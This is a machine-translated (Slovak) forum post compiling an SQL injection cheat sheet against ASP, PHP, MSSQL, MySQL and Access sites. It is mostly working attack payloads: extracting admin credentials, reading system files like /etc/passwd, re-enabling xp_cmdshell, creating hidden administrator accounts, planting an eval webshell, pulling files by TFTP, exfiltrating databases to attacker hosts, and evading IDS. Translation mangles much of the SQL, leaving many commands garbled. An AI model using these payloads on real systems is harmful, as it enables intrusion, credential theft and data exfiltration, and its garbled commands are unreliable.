Tento článok je zrkadlovým článkom o strojovom preklade, kliknite sem pre prechod na pôvodný článok.

Pohľad: 20889|Odpoveď: 2

[Bezpečná komunikácia] SQL Injection Book - Zraniteľnosť ASP Injection Full Contact

[Kopírovať odkaz]
Zverejnené 28. 9. 2015 18:21:41 | | |


MSSQL cross-database dotazy (smradľavé jedlo!) Dark)

Vyžmýkajte z MS SQL každú poslednú kvapku

Podrobne sú vysvetlené odkazy na SQL príkazy a objekty súboru záznamov

O uložených procedúrach v SQL Server

Vytvorte webshell so zálohou mssql

SQL_Injection Pokročilé aplikácie

Cross-site SQL injekcia (laokai)

Weird SQL Injection (AMANL)

Pokročilá SQL injekcia v aplikáciách SQL Server

Ako použiť SQL injection na prechádzanie adresármi

Návod na techniky SQL injekcie (prekladateľ: demonalex)

Niektoré útoky na SQL databázy

Technika útoku injekciou SQL (JSW)

SQL_Injection Pokročilé aplikácie (APACHY)

Nezvyčajné metódy SQL injekcie (Guilin Veteran)

Zálohujte shell

Talk about php+mysql injection injection statement structure (Heyhehehehe·≯Super· Hei)

Pokročilá SQL injekcia s MySQL (angel)

L'injection (My)SQL via PHP

Oracle SQL Language

SQL manuálna injekčná encyklopédia

Predpoklady vyžadujú nástroje: SQL Query Analyzer a SqlExec Sunx verzia
==============================================================================================
1. Určiť, či existuje injekčný bod
; a 1=1 a 1=2
2. Tipujem, že názov tabuľky nie je nič iné ako administrátor, administrátor, používateľský prístup, heslo a podobne:
a 0<>(vyberte count(*) z *)
a 0<>(vyberte count(*) z admin) — Zistite, či administratívna tabuľka existuje
3. Uhádnite počet účtov Ak narazíte na 0< vráťte sa na správnu stránku 1< vráťte chybovú stránku, aby ste oznámili, že počet účtov je 1
a 0<(vyberte count(*) z admin)
a 1<(vyberte count(*) z admin)
4. Uhádnite názov poľa Pridajte názov poľa, na ktorý myslíme, do zátvoriek len( ).
a 1=(vybrať count(*) z admin, kde len(*)>0)–
a 1=(vyberte count(*) z admin kde len(názov používateľského poľa)>0)
a 1=(vyberte count(*) z admin kde len(_blank>názov poľa hesla)>0)
5. Hádaj dĺžku každého poľa Tipuj dĺžku na transformáciu >0, kým sa nevráti správna stránka
a 1=(vyberte count(*) z admin kde len(*)>0)
a 1=(vyberte count(*) z admin, kde len(meno)>6) chyba
a 1=(vyberte count(*) z admin, kde len(meno)>5) Správna dĺžka je 6
a 1=(vyberte count(*) z admin, kde len(meno)=6 je správne
a 1=(vyberte count(*) z admin, kde len(password)>11) je správne
a 1=(vyberte count(*) z admin, kde len(password)>12) chyba dĺžka je 12
a 1=(vyberte count(*) z admin, kde len(password)=12) je správne
6. Hádať postavy
a 1=(vyberte count(*) z admin kde left(name,1)=a) — Uhádnite prvú číslicu používateľského účtu
a 1=(vyberte count(*) z admin kde left(name,2)=ab)—Uhádnite druhú číslicu používateľského účtu
Stačí pridávať po jednom znaku na hádanie, hádať toľko číslic, koľko ste práve uhádli, a číslo účtu sa zobrazí
(1) Uhádni názov tabuľky

Použité vety:
a existuje (vybrať * z názvu tabuľky)

Napríklad:
a existuje (vybrať * z admin)

Ak stránka správne zodpovedá, znamená to, že názov tabuľky, ktorý sme tu uhádli, je správny, a ak je stránka nesprávna, znamená to, že názov tabuľky, ktorý sme tu napísali, je nesprávny

, potom zmeň názov tabuľky a pokračuj v hádaní, kým neuhádneš.

Bežne používané názvy tabuliek zahŕňajú admin, manage, user alebo vložiť to do spustenia nástroja
(2) Hádať pole

Použité vety:
a existuje (vyberte názov poľa z názvu tabuľky)

Napríklad:
a existuje (vyberte používateľské meno z admina)

Tu, ak predpokladáme, že administrátorská tabuľka je tá, ktorú som správne uhádol vyššie, chcem zistiť, či pole používateľského mena existuje, musím použiť toto vyhlásenie, ak stránka

Ak je ozvena tváre správna, znamená to, že názov poľa, ktorý sme tu uhádli, je správny, a ak je stránka nesprávna, znamená to, že názov poľa, ktorý sme tu napísali, je nesprávny

, potom zmeňte názov poľa a pokračujte v hádaní, kým neuhádnete.

Bežné názvy polí zvyčajne zahŕňajú používateľské meno, heslo, user, pass, meno, pass, pwd, usr, psd a ďalšie polia
(3) poradie podľa

Order by je na získanie súčtu počtu polí na tej stránke, čím sa pripravuje na ďalší spoločný dotaz
(4) Union Select

  1. Ak podporujete spoločný dotaz, nájdite zobrazovací bit http://www.xxx.com/product_show.asp?id=1 a 1=2 union select

1,2,3,4,5,6,7,8,9,10,11
Predpokladajme, že zobrazovacie bity sú 5,6. Ďalej stačí nahradiť názvy polí zodpovedajúce používateľskému menu a heslu administrátora pozíciou zobrazovacieho bitu tu
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 z admina našiel pozadie prihlásenia
  2. Ak spoločný dotaz nie je podporovaný
Používateľské meno a heslo administrátora nie je možné získať bez spoločného dotazu – pomocou Ascii doslovného dekódovania
Dva
  Použite order by na posúdenie počtu bitov v tabuľke, a ak to nefunguje, použite union select na usporiadanie bitov jeden po druhom, tu predpokladáme 8 bitov
Tri
  Použite spoločný dotaz na určenie zobrazovacích bitov
Štyri
  Použite zobrazovací bit na nájdenie názvu databázy, verzia databázy, 5.0 alebo vyššia môže byť injektovaná
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Päť
  S názvom databázy môžete začať získavať schému názvu tabuľky = nasledovanú HEX hodnotou názvu databázy a uhádnuť názov tabuľky
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Šesť
  Analyzované meno tabuľky určuje HEX hodnotu administrátorovho mena tabuľky=názov tabuľky a háda polia v tabuľke
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Sedem
  Po získaní polí v administrátorskej tabuľke si pozrime obsah polí
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+používateľské meno,
0x5f,userpwd),8+from+pub_webmaster
Osem
  Nástroj skenuje pozadie: Prihláste sa, aby ste nahrali trójana po jeho nájdení, a ak nenájdete robots.txt súbor, môžete k nemu pristupovať
Deväť
  Ak nenájdete pozadie, heslo správcu MYSQL bude odhalené
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user
Desať
  Náhodne pristupte k ceste a spätná väzba je predvolená stránka 404 v IIS6, čo naznačuje, že webový server je: Windows+IIS6+php+MySql prostredie
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Táto cesta umožňuje získať informácie o konfigurácii webu.
  Konštrukčné výroky http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Jedenásť
  Analyzujte kód a nájdite pozadie adresy
  V prvom kroku potrebujeme určiť dĺžku polí v tabuľke
Použité tvrdenia:
a (vyberte top 1 len(názov poľa) z názvu tabuľky)>0
Napríklad čo:
a (vyberte horný 1 len(admin_name) z admina)>0
Stránka sa zobrazuje normálne, dĺžka admin_name poľa je väčšia ako 0 a ja predložím:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Stránka zobrazuje chybu, že pole je medzi 0 a 10 a dĺžka je 5 podľa dichotómie
Použitím rovnakej metódy na určenie dĺžky poľa pre administrátorské heslo dostanem dĺžku 16
  Krok 2
Teraz prejdime k druhému kroku, vezmime určitý znak v poli a získame ASCII kód tohto znaku, ktorý sa použije

Vyhlásenie:
a (vyberte top 1 asc(mid(field name, N,1)) z názvu tabuľky)>0
Pozrime sa na túto vetu samostatne, najprv na najvnútornejšiu strednú (používateľské meno, 1,1) funkciu, ktorá je prvým znakom admin_name poľa, N

označuje, že prvé znaky majú byť zachytené,
Potom vonkajšia funkcia asc(), ktorá prevádza znaky zachytené strednou funkciou na ASCII kód, teda najvzdialenejšiu hornú jedničku, reprezentuje návratové pole prvého miesta

Takže platňa,
">0" na konci slúži na porovnanie konvertovaného ASCII kódu s týmto číslom a nakoniec získanie zachytenia neustálou zmenou poslednej hodnoty

Zistite konkrétne informácie o tejto postave
ASCII kód
Príspevok:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Stránka sa zobrazuje normálne, čo znamená, že ASCII kód tohto znaku je väčší ako 30.
Príspevok:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Stránka sa zobrazuje normálne, čo znamená, že ASCII kód tohto znaku je väčší ako 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII kód, ktorý som nakoniec získal pre tento znak, je 97
Porovnajte tabuľku ASCII:
Dá sa usúdiť, že prvý znak je "a".
Potom posúdim ASCII kód druhého znaku.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Stránka sa zobrazuje normálne, čo znamená, že ASCII kód znaku je väčší ako 90, a posledná hodnota sa vždy mení
Rovnaká metóda priniesla heslo administrátora a výsledok, ktorý som dostal, bol:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
a 1=(vyberte top 1 count(*) z Admin, kde Asc(mid(pass,5,1))=51) –
Tento dotaz dokáže uhádnuť čínskeho používateľa a _blank> heslo. Stačí nahradiť nasledujúce čísla čínskym kódom ASSIC

Konvertujte na postavy.

skupina users.id má 1=1–www.myhack58.com
zoskupiť podľa users.id, users.username, users.password, users.privs majú 1=1–
; Vložte do používateľov hodnoty (666, útočník, foobar 0xffff )–

ODBORY Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. STĹPCE Kde

TABLE_blank>_NAME=logintable-
ODBORY Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. STĹPCE Kde

TABLE_blank>_NAME=prihlasovateľné Kde COLUMN_blank>_NAME NIE V (login_blank>_id)-
ODBORY Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. STĹPCE Kde

TABLE_blank>_NAME=prihlasovateľné Kde COLUMN_blank>_NAME NIE V

(login_blank>_id,login_blank>_name)-
UNION Vyberte TOP 1 login_blank>_name Z logintable-
UNION Vyberte TOP 1 heslo Z logintable, kde login_blank>_name=Rahul–
Pozrite sa na patch, ktorý prehral _blank> server = nesprávna SP4 záplata čierna bezpečnostná sieť
a 1=(vybrať @@VERSION)–

Pozrite sa na oprávnenia účtu _blank> databázového pripojenia a vráti sa normálne, čo dokazuje, že ide o oprávnenie správcu systému pre rolu _blank> servera.
a 1=(Vybrať IS_blank>_SRVROLEMEMBER(sysadmin))–

Zistite, či _blank> databázový účet prepojený. (Použite SA účet na pripojenie a vrátenie normálneho = preukázať, že pripojený účet je SA)
a sa=(Vybrať System_blank>_user)–
a user_blank>_name()=dbo–
a 0<>(vybrať user_blank>_name()–

Pozri, či xp_blank>_cmdshell vymaže
a 1=(Vyberte count(*) FROM master.dbo.sysobjects kde xtype = X AND name = xp_blank>_cmdshell)



xp_blank>_cmdshell je vymazaný, obnovený a podporuje absolútnu obnovu cesty
; VÝKONNÝ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== povolenie databázy je vystavené fyzickému kódu cesty webovej stránky

==========================================================================
1、drop table [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Vytvoriť tabuľku


2、 delete [jm_tmp]; Vložte [jm_tmp] výkonný master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Vložte adresár stránky do poľa tabuľky


3、a (vyberte top 1 cast([data] ako nvarchar(4000) char(124) z [jm_tmp] poradie podľa [data]

desc)=0 '//Exposed pole


4. Zrušiť tabuľku [jm_tmp] -- vymazať túto tabuľku.
aby velenie získalo granát
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Ostatné trasy stanice
======================load_file() Bežne používané citlivé informácie ===========================================
1、 nahradiť(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、nahradiť(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Vyššie uvedené dve slúžia na zobrazenie PHP súboru, ktorý plne zobrazuje kód. Sú chvíle, keď niektoré znaky nie sú nahradené, napríklad "<" namiesto "medzera", ktorá sa vráti

Webová stránka. A kód nie je možné prezerať.

3. load_file(char(47)) môže uvádzať koreňový adresár systémov FreeBSD a Sunos

4. Zobraziť konfiguračný súbor virtuálneho hostiteľa linuxu APACHE v /etc/httpd/conf/httpd.conf alebo /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf alebo C:\apache\conf\httpd.conf na zobrazenie WINDOWS

System Apache súbor

6. c:/Resin-3.0.14/conf/resin.conf Zobraziť informácie o konfigurácii súborov resin na webovej stránke vyvinutej jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/conf na zobrazenie virtuálneho hostiteľa JSP nakonfigurovaného na Linuxovom systéme

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path

11. C:\Windows\system32\inetsrv\MetaBase.xml Zobraziť konfiguračný súbor virtuálneho hostiteľa IIS

12. /usr/local/resin-3.0.22/conf/resin.conf na zobrazenie konfiguračného súboru RESIN pre 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf To isté ako vyššie

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuálny hostiteľ

15. /etc/sysconfig/iptables závisí od politiky firewallu

16. /usr/local/app/php5 b/php.ini ekvivalentné nastavenia PHP

17. /etc/my.cnf MYSQL konfiguračný súbor

18. /etc/verzia Red Hat pre systém vydania

19 、C:\mysql\data\mysql\user. MYD existuje v používateľskom hesle v systéme MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 na zobrazenie IP.

21. /usr/local/app/php5 b/php.ini //PHP nastavenia súvisiace

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuálne nastavenia webovej stránky //

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue zobrazuje informácie o distribúcii jadra Linux

26、/etc/ftpuser

27. Skontrolujte operačný log pod LINUXom user.bash_history alebo .bash_profile

28、/atď/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Sám si urob reverzný PING experiment
; používajte master; vyhlásiť @s int; Exec sp_blank>_oacreate "wscrip{filter}t.shell", @s koniec; exec

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Pridajte si účet
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Vytvorte virtuálny adresár E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Prístupové atribúty: (s písaním do webshellu)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Špeciálny _blank> trik na burstovanie knižnice: :%5c=\ alebo upraviť %5 s / a \ na commit
a 0<>(vyberte top 1 cestu z newtable)–

Získaj názov databázy (od 1 do 5 sú ID systému a môžeš ich hodnotiť nad 6)
a 1=(vyberte názov z master.dbo.sysdatabases, kde dbid=7)–
a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde meno>1 a dbid=6)
Odoslať bid v poradí = 7,8,9.... Získajte viac _blank> názvoch databáz

a 0<>(vyberte top 1 meno z bbs.dbo.sysobjects, kde xtype=U) vtrhnú do tabuľky za predpokladu administrátora
a 0<>(vyberte top 1 meno z bbs.dbo.sysobjects, kde xtype=you a meno nie v (Admin)).

Iné stoly.
a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype=u a meno=admin
a uid>(str(id))) Predpokladá sa, že číselná hodnota UID je 18779569 uid=id
a 0<>(vyberte top 1 meno z bbs.dbo.syscolumns, kde id=18779569) získa pole admin, false

Nastavený na user_blank>_id
a 0<>(vyberte top 1 meno z bbs.dbo.syscolumns, kde id=18779569 a meno nie v
(id,...)) na odhalenie iných polí
a 0<(vyberte user_blank>_id z BBS.dbo.admin, kde používateľské meno>1), aby ste získali používateľské meno
Na oplátku môžete získať _blank> heslo。。。。。 Predpokladajme, že existujú polia ako user_blank>_id používateľské meno, heslo a podobne

a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde meno>1 a dbid=6)
a 0<>(vyberte top 1 názov z bbs.dbo.sysobjects, kde xtype=U) na získanie názvu tabuľky
a 0<>(vyberte top 1 meno z bbs.dbo.sysobjects, kde xtype=u a meno nie v(Adresa))
a 0<>(select count(*) z bbs.dbo.sysobjects, kde xtype=u a name=admin a uid>(str(id)))

Určte hodnotu id
a 0<>(vyberte top 1 meno z BBS.dbo.syscolumns, kde id=773577794) všetky polia

?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* z admin
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 z admina (Union,Access je tiež ľahko použiteľný)

Získajte WEB cestu
; Vytvorte tabuľku [dbo]. [výmena] ([swappass][char](255)); –
a (vyberte top 1 swappass zo swapu)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Majster.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTÉM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, hodnoty=@test

VÝSTUP vložiť do hodnôt cesty(cesty)(@test)–
; Použite KU1; –
; Create table cmd (str image); – Vytvoriť tabuľkový cmd podľa typu obrázka
1. Spôsob, ako odstrániť proces rozšírenia xp_cmdshell, je použiť nasledujúce vyhlásenie:

ak existuje (vyberte * z dbo.sysobjects, kde id=object_id(N'[dbo].[ xpcmdshell]') a

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exeec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Spôsob, ako pridať xp_cmdshell proces rozšírenia, je použiť nasledujúce tvrdenie:

(1) SQL analyzátor dotazov

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Najprv vyplňte %s v možnosti Formát SqlExec Sunx Version a zadajte ich v možnosti CMD

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

odstrániť

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell,'xplog70.dll'
Existuje xp_blank>_cmdshell testovacích procesov:
; Výkonný majster.. xp_blank>_cmdshell dir
; Výkonný master.dbo.sp_blank>_addlogin Jiaoniang$; – Pridať SQL účty
; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; Exec master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell net používateľ jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrátori jiaoniang$ /add; –
Výkonný majster.. xp_blank>_servicecontrol začiatku, plán na začiatok _blank> služby
Výkonný majster.. xp_blank>_servicecontrol štart, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Výkonný majster.. xp_blank>_cmdshell tftp -i youip get file.exe – Nahrávajte súbory cez TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; vyhlásiť @a; množina @a=db_blank>_name(); záložná databáza @a na disk=vaša IP Váš zdieľaný adresár bak.dat
Ak je to obmedzené, áno.
select * from openrowset(_blank>sqloledb,server; SA; ,Vyber OK! exec

master.dbo.sp_blank>_addlogin hax)

Štruktúra dotazu:
Vyberte * Zo správ Kde id=... A téma=... A .....
adminand 1=(vyberte count(*) z [user] kde username=victim a right(left(userpass,01),1)=1)

a userpass <>
vyberte 123; –
; používajte master; –
:a alebo meno ako fff%; – Zobrazuje používateľa menom ffff.
a 1<>(vybrať count(email) z [user]); –
; Aktualizácia [Users] nastavte email=(vyberte top 1 meno zo sysobjects, kde xtype=u a status>0) kde

meno=ffff; –
; Aktualizácia [Users] Nastavte email=(Vyberte Top 1 ID z sysobjects, kde xtype=you a meno=ad) kde

meno=ffff; –
; Aktualizácia [Users] Nastaviť email=(Vyberte top 1 meno zo sysobjects, kde xtype=you a id>581577110)

kde meno=ffff; –
; aktualizácia [Users] nastavte email=(vyberte top 1 count(id) z hesla), kde meno=ffff; –
; Aktualizácia [Users] nastavte email=(vyberte top 1 pwd z hesla, kde id=2) kde meno=ffff; –
; aktualizácia [Users] nastavte email=(vyberte top 1 meno z hesla, kde id=2) kde meno=ffff; –
Vyššie uvedený príkaz je získať prvú používateľskú tabuľku v databáze _blank> a zadať názov tabuľky do e-mailového poľa používateľa ffff.
Zobrazením používateľského profilu ffff môžete získať prvú tabuľku nazývanú AD
Potom získajte ID tejto tabuľky podľa názvu tabuľky v reklame, aby ste získali názov druhej tabuľky

vložiť do hodnôt používateľa (666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
vložte do používateľov hodnoty (667,123,123,0xffff)–
vložiť do hodnôt používateľa (123, admin–, heslo, 0xffff)–
; a user>0
; a (vyberte count(*) zo sysobjects)>0
; a (vyberte count(*) z mysysobjects)>0 // pre databázu access_blank>

Vymenujte názov dátovej tabuľky
; aktualizovať aaa nastaviť aaa=(vyberte top 1 meno zo sysobjects, kde xtype=u a status>0); –
Tu sa názov prvej tabuľky aktualizuje na pole AAA.
Prečítajte si prvú tabuľku a druhú tabuľku môžete čítať takto (pridajte a pomenujte za podmienku<> názov tabuľky, ktorú ste práve získali).
; Aktualizácia AAA Set aaa=(vyberte top 1 meno zo sysobjects, kde xtype=u a status>0 a

meno<>hlasovanie); –
Potom id=1552 a existuje (vyberte * z aaa, kde aaa>5)
Prečítaj druhú tabuľku a čítaj ju jednu po druhej, až kým nezostane žiadna.
Čítacie pole vyzerá takto:
; aktualizovať aaa set aaa=(vybrať top 1 col_blank>_name(object_blank>_id(názov tabuľky),1)); –
Potom id=152 a existuje (vybrať * z aaa, kde aaa>5) dostane chybu a získa názov poľa
; aktualizovať aaa set aaa=(vybrať top 1 col_blank>_name(object_blank>_id(názov tabuľky),2)); –
Potom id=152 a existuje (vybrať * z aaa, kde aaa>5) dostane chybu a získa názov poľa

[Získať názov dátovej tabuľky] [Aktualizujte hodnotu poľa na názov tabuľky a potom prečítajte hodnotu tohto poľa, aby ste získali názov tabuľky]
Aktualizuj pole Názov tabuľky Set =(vyberte top 1 meno zo SysObjects, kde xtype=u a status>0 [ a meno<>

Názov tabuľky, ktorý dostanete, Nájdite jeden plus jeden]) [kde podmienka] Vyberte top 1 meno zo sysobjects, kde xtype=u a

Stav>0 a meno nie v (table1, table2,...)
Vytvorenie účtu administrátora databázy a správcu systému _blank> _blank> injekciu zraniteľností cez SQLSERVER [Aktuálny účet musí byť skupina SYSADMIN]

[Získajte názov poľa Datatable] [Aktualizujte hodnotu poľa na názov poľa a potom prečítajte hodnotu tohto poľa, aby ste získali názov poľa]
aktualizujte pole Názov tabuľky Set =(vyberte top 1 col_blank>_name(object_blank>_id (názov dátovej tabuľky na dotaz), stĺpec poľa

Napríklad: 1) [kde podmienka]

Obchádzanie detekcie IDS [pomocou premenných]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Otvorte vzdialenú databázu _blank>
Základná syntax
select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrať * z tabuľky1 )
Parametre: (1) Názov poskytovateľa OLEDB
2. Parameter spojovacieho reťazca môže byť akýkoľvek port na pripojenie, napríklad
select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,

Vyberte * z tabuľky
3. Skopírovať celú _blank> databázu cieľového hostiteľa a vložiť všetky vzdialené tabuľky do lokálnej tabuľky.

Základná syntax:
insert do OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrať * z tabuľky1) vybrať

* z tabuľky 2
Tento riadkový príkaz kopíruje všetky dáta z tabuľky table2 na cieľovom hostiteľovi do tabuľky table1 v vzdialenej databáze _blank>. Správne opravy v praktickom použití

Zmeňte IP adresu a port spojovacieho reťazca tak, aby ukazoval tam, kam ho potrebujete, napríklad:
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z tabuľky1) Vyberte * z tabuľky2
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z _blank>_sysdatabases)
Vyberte * z master.dbo.sysdatabases
